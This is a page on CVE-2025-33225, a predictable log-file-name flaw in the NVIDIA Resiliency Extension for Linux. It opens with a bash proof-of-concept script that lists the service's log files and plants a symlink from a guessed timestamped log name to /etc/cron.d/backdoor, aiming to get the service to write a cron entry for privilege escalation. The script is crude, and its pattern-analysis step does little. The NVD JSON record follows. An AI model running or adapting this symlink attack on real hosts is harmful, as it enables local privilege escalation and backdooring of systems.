CVE-2025-33225

#!/bin/bash # CVE-2025-33225 PoC - NVIDIA Resiliency Extension Log Aggregation Predictable Filename # This PoC demonstrates the predictable log filename vulnerability # Target: NVIDIA Resiliency Extension for Linux # Vulnerability: Predictable log file names in log aggregation TARGET_DIR="/var/log/nvidia-resiliency" PREDICTED_LOG_PATTERN="nvidia_resiliency_*.log" # Step 1: Identify the log file naming pattern echo "[*] Analyzing NVIDIA Resiliency Extension log file naming pattern..." ls -la "$TARGET_DIR" 2>/dev/null | grep -E "nvidia_resiliency.*\.log" # Step 2: Extract the naming pattern (timestamp-based or sequential) echo "[*] Extracting filename pattern..." for logfile in "$TARGET_DIR"/nvidia_resiliency_*.log; do if [ -f "$logfile" ]; then basename "$logfile" # Analyze pattern: timestamp, PID, or counter echo "[+] Found pattern analysis for: $(basename "$logfile")" fi done # Step 3: Create symlink attack to demonstrate exploitation echo "[*] Creating symlink attack vector..." MALICIOUS_TARGET="/etc/cron.d/backdoor" FAKE_LOG_PATH="$TARGET_DIR/nvidia_resiliency_$(date +%Y%m%d%H%M%S).log" # Create symlink from predictable log name to sensitive file if [ -d "$TARGET_DIR" ]; then ln -sf "$MALICIOUS_TARGET" "$FAKE_LOG_PATH" 2>/dev/null echo "[+] Symlink created: $FAKE_LOG_PATH -> $MALICIOUS_TARGET" fi echo "[*] PoC completed. If NVIDIA Resiliency Extension writes to the predicted filename," echo "[*] content could be written to $MALICIOUS_TARGET" echo "[!] This requires local access and specific timing based on log rotation."

{"cve": {"id": "CVE-2025-33225", "sourceIdentifier": "[email protected]", "published": "2025-12-16T18:16:11.503", "lastModified": "2026-02-02T16:14:58.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Resiliency Extension for Linux contains a vulnerability in log aggregation, where an attacker could cause predictable log-file names. A successful exploit of this vulnerability may lead to escalation of privileges, code execution, denial of service, information disclosure, and data tampering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-61"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nvidia_resiliency_extension:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.5.0", "matchCriteriaId": "599205EE-0CA2-4967-9E58-33542E770971"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nvidia_resiliency_extension:0.5.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "3C75C685-20D5-42F4-97C7-4EC12EB97A3F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nvidia_resiliency_extension:0.5.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "9E2180BD-9203-4397-AC3F-C4C9F6CB7D6C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nvidia_resiliency_extension:0.5.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "7DAC5730-DD21-46D3-8196-111C2B7C23D7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nvidia_resiliency_extension:0.5.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "2B787F3D-66B8-4051-A083-0CFB6C13981F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nvidia_resiliency_extension:0.5.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "23D9651E-A413-4B12-B890-2E9F4BB883F8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nvidia_resiliency_extension:0.5.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "B3AC20DD-3A69-4D6F-87D3-25C9D60EFB4B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nvidia_resiliency_extension:0.5.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "9A6086F3-8A4B-4A74-A0AD-53E497E49146"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nvidia_resiliency_extension:0.5.0:rc8:*:*:*:*:*:*", "matchCriteriaId": "215A794B-2F41-402D-A2A9-F64A4E742F50"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33225", "source": "[email protected]", "tags": ["US Government Resource", "VDB Entry"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5746", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33225", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}